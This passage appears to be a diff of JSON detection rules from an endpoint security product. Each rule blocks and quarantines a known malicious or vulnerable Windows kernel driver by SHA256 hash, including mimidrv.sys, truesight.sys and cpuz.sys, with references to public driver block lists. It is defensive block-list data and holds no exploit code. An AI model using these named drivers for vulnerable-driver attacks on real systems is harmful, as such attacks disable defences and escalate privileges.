+{
+  "id": "33bf7a9a-62b7-5784-b666-cad9b8135193",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469718Z",
+  "creation_date": "2026-03-23T11:45:30.469721Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469730Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81e0111c823599201e7e7054557017c0ba148dcd6d9fe74052efdee051c42e13",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33c1b769-9fff-50f1-be6b-e085db693f68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454007Z",
+  "creation_date": "2026-03-23T11:45:30.454010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454019Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9d4e7d594b4b318ac78baa79f119e4c85493eec1c1f939ae10b1633346c6e9e",
+  "comment": "Malicious Kernel Driver (aka a236e7d654cd932b7d11cb604629a2d0.sys) [https://www.loldrivers.io/drivers/2866bd72-a4b1-4764-a838-9ed0790c2631/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33c853f9-12db-5799-bca7-3572f684e31e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471996Z",
+  "creation_date": "2026-03-23T11:45:30.471999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff987c30ce822d99f3b4b4e23c61b88955f52406a95e6331570a2a13cbebc498",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33d96035-f971-5ec9-ad33-943750c5fc82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.496986Z",
+  "creation_date": "2026-03-23T11:45:31.496991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497466Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c74ab60c598a4ec997f1d8fc232c56fa72394fc5ad3a69e0706aca3511806fc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33f29a55-a6f1-58c7-ad01-015e4f902143",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476144Z",
+  "creation_date": "2026-03-23T11:45:30.476147Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476157Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8138b219a2b1be2b0be61e5338be470c18ad6975f11119aee3a771d4584ed750",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33f3329e-7d12-5fe1-bc68-b53e0b6d3f6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146884Z",
+  "creation_date": "2026-03-23T11:45:32.146886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "efde1a896c24055780aefb6f1c5fee097b8dffbe79b7e2c26320f6fe7ea3b74d",
+  "comment": "Vulnerable Kernel Driver (aka BioNTdrv.sys) [https://www.loldrivers.io/drivers/e6378671-986d-42a1-8e7a-717117c83751/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33f618e5-03da-56ee-b89c-c272c20d9cf6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458316Z",
+  "creation_date": "2026-03-23T11:45:30.458319Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41eeeb0472c7e9c3a7146a2133341cd74dd3f8b5064c9dee2c70e5daa060954f",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34111be1-eea2-5913-bce6-8123f4af66cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474825Z",
+  "creation_date": "2026-03-23T11:45:30.474829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a525f5350be5a82cf4fb3546a914841642cda5deed7f9baa13d2912eed476fb",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "341e0c37-04bd-5a98-99aa-4aaa4f3a67e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820998Z",
+  "creation_date": "2026-03-23T11:45:31.821001Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821009Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aacc20d05f9d0874955364702d8c7e016f151a019f9d289390da7b99f7155c4f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34294bee-e670-5b6e-9011-818c7ff09599",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815401Z",
+  "creation_date": "2026-03-23T11:45:31.815403Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815408Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ced779242a0df8d09e007d83bd896b2b672d157fcc8ebd6e27892c5ce3fb59a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34336957-e66d-5822-b387-3f02c0544a5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975570Z",
+  "creation_date": "2026-03-23T11:45:29.975572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "343a332a-a065-580d-9e42-99cdb28c7899",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815290Z",
+  "creation_date": "2026-03-23T11:45:31.815292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd7f5c0dbc7d8ee58c0b8aa7893b05163f4c242d5e9a117ea03489867d6c5703",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3442e17b-100a-52ef-8cc6-567c57d504d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473940Z",
+  "creation_date": "2026-03-23T11:45:30.473950Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473959Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "affeec7af311ecb53182dc6b28c61057eeb6dbd895f92354310f775cf843cfec",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "346785cb-00bb-5a00-a600-47bce4b3ebb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611270Z",
+  "creation_date": "2026-03-23T11:45:29.611272Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611277Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b9090296a10225be115810e29e8ada4f70e4d4a8f88b385ccd9a8a6d2eb6778",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3467c84c-d8cb-57f6-b677-6b356750e5d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822618Z",
+  "creation_date": "2026-03-23T11:45:30.822620Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822625Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9acd27f9b7b3075e5d5273ae285de33844aafe0477782ecd4ae573ed282f863a",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3471aae7-852f-52b6-86b3-c9640a2d12c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813451Z",
+  "creation_date": "2026-03-23T11:45:31.813454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813462Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90546d46b8a417fc97d51360aa02c4de0f7973d0967ed89dadaa41230bafacd3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "349897d8-44ae-5c5d-bd69-4b5bf73a1e0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813685Z",
+  "creation_date": "2026-03-23T11:45:31.813687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "376fce1d2509f18bc1506a516cec3a9c8ea86a08691173eb3c312e369d6e3514",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "349b51f6-d603-5a7d-bf2a-eb2dbd2dc021",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144545Z",
+  "creation_date": "2026-03-23T11:45:31.144547Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144553Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99b8638935d89b108073ba90d3cb422aefe1017bf28b1a875728467c78d83adf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34a0c0c4-5b33-5bb5-a7f1-6f939eabefcc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476461Z",
+  "creation_date": "2026-03-23T11:45:30.476464Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f27febff1be9e89e48a9128e2121c7754d15f8a5b2e88c50102cecee5fe60229",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34a98a07-2883-51ec-8f1f-d4032355e4fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836559Z",
+  "creation_date": "2026-03-23T11:45:30.836561Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccfdd6b8d4fe83b4327e398a9af9ed7df6cb7d79fe5d11423b9e87da1ec51a78",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34b4451f-5ab1-5c5c-9379-a5ec8fd4d20d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145659Z",
+  "creation_date": "2026-03-23T11:45:31.145661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82fb3ea70d7762e6f2ce380700d0164c869d233c660e3370057c5b87cd3f70f5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34b967db-db08-5b6f-a277-558c0e50353f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809392Z",
+  "creation_date": "2026-03-23T11:45:31.809395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4c030e7fd706e8b12521c9d2b0547d8d0c529088e45328a79936b922e88124e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34bc5b45-b452-5baf-9307-575551abd473",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
